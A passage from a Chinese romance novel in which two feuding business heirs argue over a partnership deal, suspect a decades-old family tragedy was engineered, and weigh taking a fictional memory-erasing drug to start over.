傅珺瑶心知肚明,和顾清漪对视眼,点了点头:“那你们聊,我过去打个招呼。” 傅珺瑶转身,视线没有目的地放出去,只偶尔聚焦,凝集在不远处人群中,那位一身简单低调黑色西装的男人身上。 男人轻倚在桌前,面前只放一杯果汁,旁侧偶有人搭话,他也只浅笑回应,又很快抽离话题。 陈颂,28岁,正正经经的red三代,平日几乎不出席私人宴会,这次也只是因为盛琪的关系,才给面子到场。 傅珺瑶在心底默念。她和他是校友,不过交集并不多,只在招标会上碰过几次面。 “陈学长,真是好久不见,今天听琪琪说你也到了,我想一定得过来打声招呼。” 傅珺瑶走近他身侧,面露浅笑,两手叠在腹前,轻轻捏着手里的包,语气算得上客客气气。 陈颂那双狭长的眸子悠悠转过来,眼底并没有很多情绪,反而透着股若有似无的疏离感:“好久不见,傅小姐。” 话语停顿会,他又改口:“不过现在该叫傅总了吧?” 傅珺瑶应和笑笑:“我也是才上任不久。” 端着果汁酒水的侍者走过,陈颂伸手拦住,“橙汁?” 傅珺瑶轻点下巴:“谢谢。” 接过果汁,抿了一小口。 陈颂难得主动开口:“我前阵子也听说傅总做成了一个大项目,能在一众楼盘建筑里脱颖而出,傅总也算是年轻有为啊。” “哪里。”傅珺瑶谦逊摇头,“说到底也是运气好,碰到了不少贵人,没有学长你的信任,我想也难得有我后面的发展。” 陈颂那双眸浅眯起来,低哼一声,拿起面前的果汁,往前伸过去些。 傅珺瑶很快靠过去,杯沿下移,轻轻叩出声脆响。 “阿颂,刚刚就听说你也在。” 傅珺瑶嘴里的果汁还没来得及吞下去,耳边一道熟悉的男声闯进来。 她低呛了声,眉心狠狠抽了两下,脸色险些挂不住。 “述白,你一个人来的?”陈颂目光挪过去,面色平静如旧,声音却难得带了几分喜悦。 傅珺瑶知道,陈颂和沈述白关系不错,两人不仅是校友,还是同专业,甚至沾亲带故。 “我哥也来了,在那边和宋伯伯聊天。”沈述白解释,人已经走到陈颂身边,却刻意无视傅珺瑶。 “沈奶奶最近身体怎么样?也很久没去看她了。”陈颂问。 “挺好的,她也跟我们念叨,说想见你。” 两人聊起来,傅珺瑶站在一边,反倒有些突兀。 她也不想继续留在这。 两人话语暂逢空当,傅珺瑶准备打声招呼离开,可还没开口,沈述白的视线便忽然盯过来。 她心口一颤,眼瞳被黑色耳钉晃了晃,话语在喉间噎了一下。 “哟,原来傅总也在啊,真是抱歉,我刚刚都没看到傅总。” 傅珺瑶捏着包的手紧了紧,暗沉了口气。 他又继续:“不过傅总这又是喝酒又是喝果汁的,不知道的还以为傅总渴了三天来的。” “……” 傅珺瑶的拇指掐紧食指指腹,牙关紧合,皓齿在唇肉狠狠咬了下,又松开,颊侧的肌肉用力往两边拉,扯出抹平笑。 “沈总的思维真是让常人难以想象,我是怎样就不劳沈总费心了。不过沈总如果真的眼睛不太好的话可得抓紧时间去治,我恰好认识最权威的眼科医生,沈总如果有需要了我肯定给沈总介绍过去。” “……” 傅珺瑶迅速收回视线,面朝陈颂,颔了颔首:“陈学长,我先去琪琪那边了,下次聊。” 陈颂嗯了声应好。 回到顾清漪身边,傅珺瑶终于不再忍,把憋着的那股气吐了出来。 “珺珺,你没事吧?”顾清漪问。 “遇上他能没事吗?我只求上天保佑我不要跟他扯上任何关系!” 87. 番外4 【三互相算计嘴不饶人】 收到沈述白送的粉帝王那天下午,傅珺瑶迟了两分钟,到了云顶阁。 “傅总这么没有时间概念么?”沈述白坐在阁楼中,面前的桌上摆着新鲜的茶水。 “中途停了车,换乘地铁,又走了几百米,我能只迟到两分钟已经很不错了。”傅珺瑶无谓道。 也没想怎么客气,直接坐下来,把那杯已经不烫的茶送进肚。 “换乘地铁?”沈述白明显不解。 傅珺瑶斜他眼:“你很想让人知道我们私下见面么?我反正是不想。” “……” “你选的茶真难喝,没品。” 傅珺瑶并不喜欢铁观音的口感。 “……我们是出来聊合作不是喝茶的。”沈述白乜斜她眼,刻意强调。 傅珺瑶靠坐在那,黑眸从他的黑色耳钉定到面中。 嗤哼:“行啊,聊。” 傅珺瑶把存在手机里的电子文件给他,是关于悦霁天地项目的详细介绍。 沈述白一眼看到“面向单身人群”这几个字,轻哼:“面向单身人群?你倒是另辟蹊径,这种项目能赚钱么?” 他话里的怀疑态度明显,语气像是安了GPS,目标明确地朝她冲过来。 傅珺瑶面对质疑,一向冷静自持,除了在他面前。 他的话很轻易激起她的反骨:“你别管我赚不赚钱,反正我的钱进不了你兜里。” “……你这是想合作的态度么?” “如何?沈总不满意?不是沈总求着我出来的么?”傅珺瑶端坐起来,挤出假笑,语调压不住上抬。 沈述白扔下她的手机,转瞬垮脸:“我求着你?傅珺瑶,是你先去找的我!” “那又怎样?就算我不找你,你也早晚得来找我。” “……我早晚找你?我大不了把系统全都外销,缺你这一个项目了?” “那你不也还是来找我了?沈述白,这都多久了,你自视清高的毛病还在呢?”傅珺瑶嘴上毫不留情。 停了两秒,她又长吟了声:“不过我理解,这是你们家的遗传,改不了!” “你!”带刺的话轻易刺破体面,激起被奋力隐藏的火星。 沈述白褐眸凛起,冷嗤:“你也不赖,这么久过去,还是那个让人生厌的性子,满眼利益,只知道踩着别人往上爬,手段阴险,和你接触,指不定什么时候连命都丢了。” 傅珺瑶一个厉眸剜过去。 沈述白笑得冷冽:“我也理解,你们家的遗传,就是这样恶心!” “啪”的一声,傅珺瑶拍桌而起:“恶心?真正恶心的是你!我大伯当初就不应该和你姑姑结婚,我奶奶我爷爷更不该和你们家有来往!” 手指跟着怒气一起发散,直直劈向他。 “何止你大伯,我姑姑和你大伯结婚才是她这辈子最大的悲哀!”沈述白也站起身,扬臂拍开她的手,原本还算沉稳的嗓音也不住上抬。 傅珺瑶拳头捏紧,胸口起伏的频率逐渐加快。 她狠狠瞪向眼前的男人,锋芒尽露,心底的那团气也因为占据全部视线的那张脸越鼓越大,情绪很快冲至最高点:“行!悲哀是吧?既然我看不惯你,你看不惯我,那就干脆也别强求,别要什么合作了!” “行啊,那就干脆别合作了!” 傅珺瑶咬着牙,重重点头,直接抄起包,手指怼到他面前:“有种你别再回来求我!” 说完,她压根不等他回答,头也不回离开。高跟鞋气冲冲地踏在路面,她也完全不想走去地铁站,直接在路边拦了车。 然而车门刚关上的那刻,后悔的情绪很快冲上来,连着气焰都冲散一半。 她紧蹙着眉,手掌抵在额前,狠狠沉了口气—— 她又情绪化了。 是她需要合作啊,她不想要林氏和苏氏啊。 可她跟沈述白就像天生气场不合,不管她提前做多少心理准备,也还是难在他跟前保持冷静。 啧。 傅珺瑶有些懊恼。 这是她最重要的项目啊。 “姑娘,环湖公园已经到了。”出租车停了下来,前面的司机稍微侧头。 傅珺瑶暂时回神,迅速扫码下车。 她的车就停在这里。 她没急着走,把包扔回车里,又换了平底鞋,往公园里头走。 宽阔的栈桥前,湖面泛起一阵接一阵的波纹,翻涌的水花推着微热的风往前扑,尽数落到她脸上。 她深吸了口气,又重重吐出去。两手搁在栏杆上,十指反复搓磨。 不…… 不行。 她不能这样意气用事。 她不能不为她的项目考虑。 可她刚刚都那样说了,她再回去找沈述白,那也太没面子了。 “啧。” 傅珺瑶连连啧声,两只脚也变得不安分,乱糟糟地踢在身前的栏杆。 真的好烦,为什么她总是避不开他?为什么她总是要在他那里吃瘪?为什么她总是在他那里控制不住情绪? 大伯和他姑姑相克就算了,他也是上天派来克她的么? 傅珺瑶脑海中思绪乱作一团,在重新去找他和觉得自己没面子间反复横跳,纠结至极。 两条腿交替踢栏杆的动作愈发频繁,她突然往后退了一步,暂时止住这样有些不得体的发泄方式。 她仰头,盯着半悬在空中的太阳,那强烈的光线折进眸底,刺得眼角涩疼。 算了。 她又往后退一步。 先回去好了,回去冷静冷静再说。 收拾好脸色,她打算离开。 结果身子才转过去,聚焦的视线瞬间被那颗黑色耳钉晃了几下。 傅珺瑶的脚步陡然一乱,重心往后偏移,她往后挪了两步。好在她换了平底鞋,否则这会恐怕就要往后摔过去了。 她垂在身侧的手本能捏紧,眉头蹙起,警惕地凝着那双深褐色眸。 可莫名的,脸皮有些火辣辣的,一股难言的尴尬和羞耻感从心底冒出来,喉嗓也像是被什么东西堵住,完全发不出声。 男人的脸色也算不上好看,紧绷的下颌还藏着刚刚攀升起来的怒意,眉眼下沉,裹着团稍微冷冽气,哪怕被这明晃晃的太阳照着,那冷也没能消减半分。 可他也不走,就那么盯着她。 不近不远的距离间,气氛越来越奇怪,越来越尴尬。 傅珺瑶很想赶紧走,她还没想好怎么面对这个人,可心底又下意识觉得她不能走,走了再回来找他就更奇怪了。 而且她也不知怎的,她的目光像是被什么东西粘在他那里,怎么都挪不开。 牙关紧合,身侧的手掐得掌心都有些疼,脸皮上那股火辣辣的劲也越撑越强,即将抵达她能承受的阈值。 “刚刚我话说重了,我们重新谈。” 他突然往前一步,带着这句话出口,只一瞬,横亘在他们之间的尴尬尽消。 傅珺瑶紧捏的手松开。 心脏骤然往前顶了下,顶出里头藏着的讶然和窃喜,铺平原有的羞耻。 他居然……主动把台阶送过来了? 可她要怎么说?怎么说才不会显得没气势?怎么说才会在他面前显得没那么没面子? “今天就到这里吧,先冷静两天,后天还是云顶阁,还是下午两点,我会等你的。” 话语说完后,那道视线只停顿两秒,随后便侧转过去,连带着那颗黑色耳钉一起消失。 他走了。 傅珺瑶愣在原地,一时半刻没反应。 心脏又好像被什么东西往上托,轻飘飘的,情绪找不到落脚点。 “啪嗒”一声,像是有什么东西坠落,还牵动身侧的香樟树叶簌簌发响。 傅珺瑶肩口猛然一抖,侧眸,看到地上落下来的那一小颗黑色浆果,烂出深紫色的汁液。 原来是树上的果子熟了。 她又瞟向沈述白离开的方向,下巴轻扬,慢嗤一声:“莫名其妙。” 两手背过去,在身后交叠,她也往车的方向走,脚步远不及刚才沉重,越来越轻快。 - 两天后,傅珺瑶还是去了云顶阁。 他都递台阶了,她没必要认死理,反正都是为了工作。 她这样想。 同样的换乘方式,不过这一次,她准时到了。 男人还是坐在那个位置,背靠着红木墙,身前的红木桌上新鲜的茶水热气滚滚。 傅珺瑶和他短暂对视,视线从他的黑色耳钉上绕回来,嘴唇微□□动坐下。 再次拿出手机,把文件翻出来递给他,语气还算好:“你接着看吧。” 沈述白没说话,直接翻动电子文件。 她的面前已经倒上一杯茶水,她有些渴,也没矫情,端起来往嘴边送。 舌尖触到茶水的那刻,手上的动作一僵—— 上次的铁观音被他换成了金骏眉。 心口涌过一丝难言的情绪,转瞬即逝,傅珺瑶都没来得及抓住、探清。 醇滑的茶水入喉,心情也跟着好了不少。 “想法挺好的,不过不知道傅总有多少预算。” 他把手机推回她跟前,背脊挺直,语气沉稳,一副公事公办的模样。 傅珺瑶放了茶杯,没急着回答,退出文件界面,打开计算机,输入串数字。 再推至他跟前。 沈述白神色一紧,轻哼了声:“傅珺瑶,你胆子是真挺大。” 傅珺瑶斜眸紧凝他,慢吸了口气:“那你是接受还是不接受?” 她其实有些没底。 她提前做过背调,知道该开什么价格合适,不过她故意少说了点。毕竟价格总归还是要谈的,她总不能一开始就把底牌亮出来,何况他俩的身份挡在这,他保不齐会为难她。 沈述白没给她回答,直接掏出手机,翻到张照片。 “这是不同档区的系统,既然你的需求是面向单身人群,我的建议就是选最高档,次选中间档,但你的预算,连最次档都没法拿下,甚至换至林氏、苏氏,你一样谈得够呛。” “傅珺瑶,你既然不想选择林氏苏氏,至少也得拿出诚意来,还是说傅总一向如此,那些传言里的能担大事的傅总不过是个随意压制别人的人,真的除了利益,就再不顾其他,居高临下、唯利是图。” “……” 他怎么永远都是这个样子? 对她除了那几句评价就没别的了? 她也真的脑子有病,那天收到他花的时候居然还觉得这人至少有点自己的思想,觉得这位合作对象至少有可取之处。 傅珺瑶在心底轻嗤一声。 有思想?他对她的思想估计全是带着贬义色彩的。 傅珺瑶猛然掐了下手心—— 跑偏了,他怎么想她关她什么事,她就是来找他合作的,又不是…… “沈述白,你如果不满意预算,你大可以重新说个数,没必要非把那些无关紧要的话拿出来再说一次。再说了商场上不谈利益谈什么?谈人情?我跟你之间有所谓的人情么?” 傅珺瑶的话在前面还算稳,到后面情绪就有些压不住了。 她也很无奈,都怪敌对太多年,她的身体太习惯去‘赢’他了。 如果能像跟沈行之那样就好了,沈行之跳了级,跟她几乎没接触,接触不到,自然就敌对不了。 “……” 男人一时语塞,脸上的表情也不太好看。 傅珺瑶是想沉默的,可一捕捉到他降于劣势的神色,身体里的那股劲就压不住,理智一时出逃,嘴也快了一步:“我就只看重利益,那又怎样?沈总如果真那么清高,干脆直接把系统送给我好了,别表面一套背地里又是另一套。” “你别忘了是你自己主动来找我的,沈述白,我图利至少摆在明面,你呢,你就是个表里不一的伪君子!” “你……我伪君子?你又算什么?”男人眉头蹙紧,搁在桌上的手已经捏成拳。 “不管我算什么都比你好,你本来就是伪君子,学生时期你阴我的事还少么?什么体面多金温柔,你跟温柔沾得上一点边吗?要我说,你就是表里不一的小人!古板又骚包的伪君子!”傅珺瑶越说越来劲,尚存的一丝理智也被情绪压下去,完全不见踪影。 “你!” “我怎么?” “你脾气真差!” “那我还真希望再差一点,能叫你直接开不了口!” “……就你这脾气,谁以后当你老公真是倒了大霉了!” 傅珺瑶心口一顿,凶涨的气焰忽的一瞬截断,不过很快又重新连接,她冷笑:“怎么,你想来试试什么滋味?那我可真要提心吊胆了,跟你扯上关系,保不齐是会丢命的!” “……你放心,我就是再没脸没皮,也不会跟你扯上关系!” 两双眸子你不让我、我不让你,恨不得要钉进对方的眼珠里。 阁楼里有长达几十秒的沉默。 两人同时“嘁”了声,撇过头,谁也不看谁。 只是没几秒,傅珺瑶便暗暗后悔—— 她怎么又没忍住?情绪怎么还是没控制住? 这人身上到底有什么魔力?她怎么次次都失策? 谈合作就谈合作,怎么莫名其妙就扯到老公身上去了? 傅珺瑶腮帮子渐渐鼓起来,身前的手交叠,拇指狠掐在虎口,想要逼着自己冷静下来,赶紧想对策。 她连连眨眸,不安地往旁侧瞥过一眼,看不太清他的脸色。 只能听到他有些重的呼吸声。 “今天我不想谈了,”男人略沉的声音响起,里头还掺杂着点不悦:“后天还是这个时间。” 他站起身,靠近,清冽的气息裹着轻微的茶香落入鼻腔,刮的黏膜痒痒的。 “傅珺瑶,”他沉声:“下次如果你还是这样,就别来了,我没时间和你迂回几次,如果你真的不想合作,那束粉帝王你就当从来没见过,我们依然退回原位。” 说完,他从她身后绕过,两条长腿很干脆迈了出去。 “……” 傅珺瑶坐在红木椅上,指尖紧捏茶杯,嘴唇抿的发白。 心脏不知怎的,轻轻抽了一下,闷闷的,胀胀的。 退回原位? 他们什么时候有前进吗? 不过都是为了利益罢了。 他们,本就不该有所谓的“前进”和“后退”,只需要牢牢记住,他们之间横亘着两条鲜活的人命,他们都不是好人,他们的界限永远清晰。 至于那些碰巧的、偶然的“理解”和“看透”,都不重要,不过是昙花一现而已。 傅珺瑶沉沉呼了口气,想饮尽杯中的茶水,触及嘴边,却是一片凉涩,有些苦口。 傅珺瑶把茶杯按回桌上,抄包起身,扯了扯唇,眸底的阴霾却难完全扫去。 两条腿迈得心不在焉,身体像单纯行使大脑指令,僵硬的回了车里。 “咔”的一声落下,安全带系好,傅珺瑶却没急着走。 黑眸盯着握稳的方向盘,凉气从排风口慢悠悠沁出,混入空气,慢慢扫空旋在眼瞳的阴霾。 她猛然抬头。 沈述白说的没错,他们不该浪费时间迂回,就事论事各取所需,对他们都好。 - 当天晚上,傅珺瑶回了傅宅。 晚饭时,李茗蕤和傅臣北出门约会,傅淮湛被叫回来,妹妹和哥哥陪着爷爷进餐。 傅珺瑶心底想着事,只顾埋头吃饭。傅淮湛有意躲避老爷子,也不开口。 气氛沉默,隐隐有些僵硬。 “珺珺,悦霁天地项目的基础系统,你跟你苏伯伯谈好了吗?”老爷子突然问。 傅珺瑶咀嚼米饭的动作一顿,面不改色:“还没,不着急,等项目团队那边评估无误,总是严谨一点才好。” 老爷子那张严肃的脸上露出点笑:“好,爷爷绝对相信你,你也不要让我失望才好。” 他又意有所指,斜睨傅淮湛一眼:“你是我们傅家唯一的希望,身上担着的责任可是关乎我们整个家族,绝对不能因为个人一时冲动,弃家族不顾,明白吗?” 那道带着压迫感的眸子强势落在她面颊,傅珺瑶捏着筷子的手收紧,胸腔像是鼓了团气,往两边撑开,压得她难受的慌。 声音虽然还像寻常那样清亮,却少了点底气:“我明白,爷爷,我……不会让您失望的。” “这就对了。” 晚饭之后,傅淮湛飞快和老爷子打过招呼,迫不及待要走。 老爷子面露不快,却没出声留人。 傅珺瑶原本是想跟着一起走,可两条腿还没走到玄关,老爷子便出声留她:“珺珺,今晚就留在傅宅吧,你也有些日子没回来了。” 傅珺瑶隐隐迟疑,抬眸看清老人的那张皱纹遍布、鬓发花白的面容,暗暗轻叹:“好,我今晚不走。” 傅珺瑶在楼下坐了会,算是陪着老爷子。 “珺珺,悦霁天地的项目你一定要上点心,你也知道,张董过两年就要退休了,他也打算跟着女儿女婿移居加拿大。” 这事傅珺瑶知道。 张董的孙女前段时间出席路婧邀约的私人聚会,她当时听到她说打算移居。 “爷爷,我知道该怎么做。” 老爷子沉嗯一声,眼带欣慰:“知道就好,只要你时时刻刻牢记家族,跟着爷爷的脚步走,得到的东西绝对不会比你哥少。” - 傅珺瑶回了房间。 洗漱过后,躺在床上发呆。 真的好累。 掌权并不是一件轻松的事,自由也并不是在掌权后就会有。 她还没到那种高度。 上任一年多,该做的事她都能做好,她的能力也算得上是有目共睹,可爷爷不愿意放权。 从一开始就是。 她明白,爷爷想拿捏她,不想她也跟傅淮湛一样,可这种束缚太窒息,明明可以不用这样的。 她很想反抗一次,可每每想起家族,想起爷爷红着眼,双手颤抖抓着她的样子,就有些狠不下心。 当初也是她自己说过的,她年纪虽然小,但她能担起责任,她也愿意为了家族牺牲。 可……这种牺牲真的值得吗? 所有的压力都在她身上,她真的要牺牲至这种地步吗? 还有项目的事,爷爷笃定她会找苏津南,倘若先斩后奏,爷爷知道她去找启行,她会再次因为她的‘牺牲观念’妥协吗?爷爷到时候如果逼她她要怎么办?万一心脏病复发,她又要怎么办? 思绪绵延,压抑的阴霾又回到心口,傅珺瑶眉头蹙紧。 最关键的是和沈述白,她该怎么做好坚不可摧的心理准备去见他呢?她要怎样才能让自己不‘本能’情绪化呢? 傅珺瑶长叹口气,把自己埋进被窝,身体来回辗转,大脑迟迟没有精准的对策。 蓦然,消息铃声持续响起。 傅珺瑶头探出来,抄过手机,看到来信人,稍微惊讶。 闻玥:【Freya你看,我新做出来的试验品,能够影响大脑中枢抹去记忆,对身体还没有伤害,我厉不厉害?】 闻玥:【我又打算闭关段时间了,你什么时候来洱南玩玩,咱们都快两年没见了。】 闻玥:【最近心情还好吗?距离你的自由大计近些了吗?】 傅珺瑶没忍住笑了声。 很久没听人叫她Freya了,这是她留学期间的名字,也就闻玥会叫了。 傅珺瑶知道她不喜欢俗世生活,喜欢研究些稀奇玩意,只供自己喜欢,东西学够了,她就直接找了座喜欢的城市隐居,偶尔会跟她这个朋友联系。 【抹去记忆?】 傅珺瑶稍稍意外。 她只听说过脑部遭受撞击失忆的,再要么就是药物对中枢造成不可逆损伤。 失忆…… 【对,我自己试过了,这以后啊我要想换种方式重新开始,直接吃下去就好了。】 【我还弄出来了解药呢,效果一样,我是不是很厉害啊?】 【洋洋得意表情包】 傅珺瑶悬在屏幕上方的手指一顿。 换种方式……重新开始…… 黑眸盯着那几条消息,眼色愈发深沉。 - 再次赴约,傅珺瑶甚至提前五分钟到了。 沈述白还是那身黑色西装,黑色衬衫严整扣好,包裹住他宽阔的肩脊,领带干净垂下,银色领带夹算得上是抹亮眼的点缀,给了这身古板的装束一丝喘息的机会。 最惹眼的,还是他那颗黑色耳钉,以及…那双和他整个人完全不搭的深褐色眸。 傅珺瑶心底忍不住一声轻笑。 温柔? 这双眼睛换给别人或许还能温柔,在他身上,不可能。 她也想象不出这人温柔是一副什么样子。 大概……很突兀? 傅珺瑶思绪飘远,对上去的双神也忘了移回来。 “我脸上有东西?”他问,手却端起茶抿了口,不过似乎对味道不太满意,抿唇蹙眉放回去,大半茶汤险些晃出杯口。 傅珺瑶心口一紧,迅速挪回眸坐下,打断偏移的思绪,没接他这话。 面前金骏眉的茶香扑鼻,傅珺瑶直入主题:“沈总的理想价格是多少,直接报数吧。” 沈述白少言惜字,反手递出手机,送到她面前。 傅珺瑶蓦然对上屏幕里那双温柔的褐眸,瞳仁狠狠一缩。 心底像是被什么东西钉了一下,背脊莫名攀起凉意。 这是…… 傅珺瑶无意识抿紧唇。 屏幕里的女人唇角微微扬起弧度,淡化了那整张脸的干练英气,一股柔和气,像个温暖的长辈。 怎么感觉好像在哪见过? 好熟悉…… 傅珺瑶满脸不对劲,沈述白很快意识到什么,转瞬移近身子,双神定格时,他轻倒吸了口凉气,迅速把手机拿回来,重新翻到系统报价那张,脸色低沉:“是这张。” 不同档位的价格明码标好送到傅珺瑶跟前,她的思绪却还停留在那个女人身上没收回来。 她知道,她知道那是沈述白的姑姑,也知道她是她曾经的大伯母、曾经的家人。 她不止一次在官方网页里见过这个女人的照片。 可为什么沈述白手机里的这张格外不一样? 那双褐眸她好像还在哪见过…… “傅珺瑶?” 沈述白的一声叫唤打断她的思绪,她本能对上他的眸子。 也是两颗深褐色的眸珠,却一点没有温柔的影子。 傅珺瑶在心底暗嗤,不,不是他。 那是谁?她到底还在哪见过这样的一双眼睛? “怎么,傅总是看到心存愧疚的人,开始反思自己了是么?” 沈述白满带嘲弄的声线再次打断她的思绪。 傅珺瑶倏然凛神,一双深沉又强势的黑眸狠狠剜过去,身体容不得多加思索,近乎本能反击回去:“心存愧疚?当年的事到底谁问心有愧,我想沈总是最清楚的人吧?情绪化破坏系统,不顾他人安危、不顾家族名誉还损人不利己的事,搭上别人的命,也葬送了自己的命!” “那份尸检报告和证据结果上写的清清楚楚,我姑姑是先被捅刀子的那一个!”她的话音刚落,沈述白拍桌而起,整张脸都沉下来,语气冷得直刺脊骨:“到底是谁不懂得说清事实,到底是谁先存杀心?什么婚内出轨是谣言,我看有的人早就已经想好要我姑姑的命了!只不过我姑姑还留了口气,有的人也真是活该!” “沈述白!”傅珺瑶也猛然起身,手掌在红木桌上拍出震耳的声响,指尖直直劈向沈述白:“你们沈家果然就是这样自认清高,永远都把错推到别人身上!” “我把错推到别人身上?你自己呢?!你们家有承认过自己的错吗?!你们有半点懊悔吗?!你哪一次不是这样攻击我?合作是你先去找我的,我给你面子几次三番约你出来,你有接下我的好意么?!” 沈述白一步步逼近,冲上眼底的愤怒直直扑向她,他拍掉她指过来的手:“傅珺瑶,你说我自己认清高,你不是一样觉得自己清高么?从学生时代,一直到现在,你有把我放在眼底么?哪怕我现在是你最需要的合作方,你也还是用你原本的那套来对我,你就真当我必须跟你合作吗?!” “……” 傅珺瑶被他突如其来的强压逼得后退几步,脑子一时转不过弯,话语堵在一块,难以顺畅。 虽说见过不少回他生气的模样,可那都是没有对她产生攻击力的愤怒。 然而现在,他身上那股熟悉的香味强势堵进她的鼻腔内,胸腔、肺腔同时受压,她竟也生出几分心虚和惧意。 不…… 她凭什么要心虚?他生气,她难道就不该生气吗? 傅珺瑶陡然捏紧手,背脊挺直,下巴高高抬起,黑眸裹着同样冰冷又锋利的沉肃顶过去,她嗤哼:“你既然口口声声说不是必须跟我合作,那你有本事就真的别跟我合作啊。” 整个空间瞬间安静下来,只剩两人紧紧纠缠、毫不相让的呼吸声你追我逐,谁也不肯放过彼此。 蓦地,沈述白重重点头,下颌紧绷:“行!傅珺瑶,上次你的话我原封不动还给你,你有本事,别再回来求我!” 男人的气息干脆从鼻腔抽离,那双干净的皮鞋重重踏在地板,脚步声逐渐远去。 傅珺瑶不知怎的,双腿一瞬软了力,跌坐在凳子上。 她深吸了口气,沉沉呼出,紧蹙的眉头并没有平下来,她抬手,掌心抵在额前,轻闭双眸。 又是这样。 她和他又是这样。 她怎么就又说了这些话? 怎么就把事情弄得这样糟糕? 她明明不是这样的,她在爷爷那里、在董事会那里、在那片危机四伏却没有硝烟的战场里明明那样能忍、能一步一步慢慢走、能把话说得漂亮。 他真是她的克星。 - 傅珺瑶在云顶阁坐了好久、缓了好久。 出来之后她还是打算拦车去环湖公园,人正往路口走,迎面撞上抹熟悉的人影。 女人形单影只,一身素净白裙,齐肩的短发别在耳后,双目少神,也没看到她。 傅珺瑶习惯性打招呼:“楚阿姨?您怎么在这,好久没见您了。” 女人像只受了惊的兔子,肩口猛然一颤,一双褐眸猝然缩紧,下巴微抬起来定格视线。 楚茜僵硬扯了扯唇:“珺…珺珺,好……好巧,我过来这边……就是出来吃个饭……” 傅珺瑶对上那双褐眸时,眉心无意识抽了抽,她了然笑笑:“原来是这样,您现在去哪,自己开了车吗?没开的话我帮您叫辆车。” “不用不用!”楚茜很快摆手:“我自己开了车,我还有事,我就先走了……” 女人迅速绕开她,头也不回地往前走。 傅珺瑶不解看着那道略显慌乱的背影,耳边突然一声喇叭,是她叫的车到了。 在环湖公园的停车场上了车,她没急着开走,打算在车上歇会。 靠在舒适的背椅上,傅珺瑶心事重重。 她还是得找沈述白,她得主动去找他,既然他们都控制不了自己,不如就干脆先忘掉自己,忘掉那些既定事实,他们没准还能好好谈一次。 可她就算愿意冒这个险,她又怎么保证沈述白也愿意冒险呢? 他都说了不是必须,如此大的代价,他会愿意吗? 眼皮垂下,傅珺瑶自然而然回想起刚刚男人那双让她讨厌的、冷得要命的褐眸。 明明都是褐眸,放在那个女人身上倒是还看得出几分温柔。 放在楚阿姨身上,又是另外一种柔和…… 傅珺瑶突然坐起身,双眼用力睁开。 漆黑的眸珠在被眉毛挤压得缩小的眼眶里乱转,裹着几分震惊和不可置信。 楚茜?! - 隔天下午,傅珺瑶下班之后去了环湖公园散心。 熟悉的栈桥边,她手臂随意搭在栏杆上,双眸眺至远在对侧的湖面,橙色的夕阳将最后的余晖洒落在她脸上,带着足够抚平燥意的晚风吹近,却仍然难填她心底大片的空虚和怅然。 她想去找沈述白。 又不想去找沈述白。 她的目的没有达到,可她同样拉不下面子。 况且那一切都只是她的猜测,没准是她太想有个‘失忆’的理由,太想‘重新开始’,自己阴谋论了呢? 只不过眉眼相像,说不定只是巧合呢? 再说了,就他那个二愣子,真的会信她么。 不、不对。 她都还没试过怎么就开始想失败了?她不是这样的啊。 不对。 不管他信不信,先找了再说嘛。 傅珺瑶忽然挺直身子,搭出去的手也收回来,刚打算转身,又蓦然泄了气。 她还是拉不下脸。 主动去找他,不是还得对他服软…… 啧。 纠结的心火压在胸腔里,烧得矛盾来回撕扯。 傅珺瑶有些受不了,她不能干站在这里,她得动动,得好好想想。 身子刚一侧过去,两条腿猛然一颤—— 她堪堪对上那双这些天再熟悉不过的深褐色眸。 男人眼底似乎也闪过一丝惊诧,不过只一瞬,他又冷冷斜她眼,迅速撇开视线,两只脚没有停下的意思。 傅珺瑶大脑一片空白,身体却不知怎的,突然来了劲,很快追了上去。 “沈述白!” 男人身着黑色西装的背影短暂僵愣,脚步没停,继续往前走。 “沈述白!” “我有事想跟你说!” 傅珺瑶两个大跨步跑到他跟前,用身体拦下他。 男人脸上冒出隐隐冷漠,五官收凛,不打算给她一点反应。 “我和傅总好像不是能谈事的关系。” 声音压沉,分明不似寻常那样尖锐,却刺得她更难受。 傅珺瑶暗暗咬了咬唇肉。 意识再次跟着退缩,可气焰又恍然往前一顶,她郑重凝眸横向他。 来都来了,人都在面前了,这个时候当逃兵,她就不是傅珺瑶了! “上次的事是我没控制好情绪,就当是我求你,我们再谈一次,就五分钟。” 手掌推近男人面前,傅珺瑶有些控制不住微微发颤,双神紧盯他的反应,等待他答复。 男人眉头轻拧,视线上下轻扫来回审视她,似乎是在思忖她行为背后的目的。 两相沉默,周围的行人路过,也时不时好奇转头。 傅珺瑶不想被更多人看到,又半天等不到他回答,一时心急,手绕至他身侧,直直抓住他的胳膊:“我们换个地方谈。” 沈述白眉眼一僵,视线凝重落在被她抓紧的小臂,还没来得及拒绝,整个人就被她拉走。 幽暗无人的竹树林里,傅珺瑶把人按在石墩子坐下,迅速掏出手机,把楚茜的照片 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“我也查了,当初苏总和我大伯以及你姑姑,他们三个是同学,还是朋友,楚茜和我妈妈是小他们两届的同校校友,我听说她当年一直喜欢苏津南,只是苏津南拒绝了她,可在我大伯和你姑姑去世之后,苏津南又主动去追了楚茜,最后和她结婚。我不想阴谋论,也不想随意猜测,但……你不觉得这一切是值得怀疑的吗?” “怀疑?”沈述白低哼一声:“当初已经板上钉钉的事,傅总这番怀疑未免太空穴来风了。” “可那是发生在二十多年前的事了,如果真的是被有心之人利用,虚假的板上钉钉也未必不可能!”沈述白并不相信她,她的语气变得有些急:“如果真的另有隐情,如果我怀疑的事变成了真相,沈述白,那我们又到底有什么理由舍弃利益不合作?” “……”男人的眸色一凛,紧绷的肩口忽然松下去:“可你就算怀疑又怎样?你能找到颠覆性的证据吗?如果你口中的有心之人真的肆无忌惮了二十多年,你要怎么让他现行?还是说,这一切不过只是你为了合理化自己行为找的借口而已?” “是,我的确找不到证据,可就是因为找不到,不如就以身入局让证据自己跳出来,你想想,如果真如我所想,那他最不想看到什么样的局面?无非就是我们再次有关联啊。” 沈述白轻睨着她,半天没有说话。 傅珺瑶叹了口气,语气突然掺了几分郑重:“我有一个很靠谱的朋友,她前几天告诉我,她做了一个药物出来,那药吃了之后,能够失去全部的记忆,当然,她也做了解药出来。我想过了,如果我们每次见面都无法避免争执,那不如就干脆忘掉仇恨、忘掉一切,只为了合作,更为了试探那个有心之人到底存不存在。” “失忆?!”沈述白暗暗倒抽口凉气,眉眼拧得更紧。 傅珺瑶重重点头,双神几次瞟向他,又慢慢转回来。 “就为了这些,你就要把自己当靶子?哪怕不惜忘记仇恨、忘记敌对,傅珺瑶,利益对你而言真的就那么重要?!” 男人语气里显带质问,也似乎非常不愿意入了她这局。 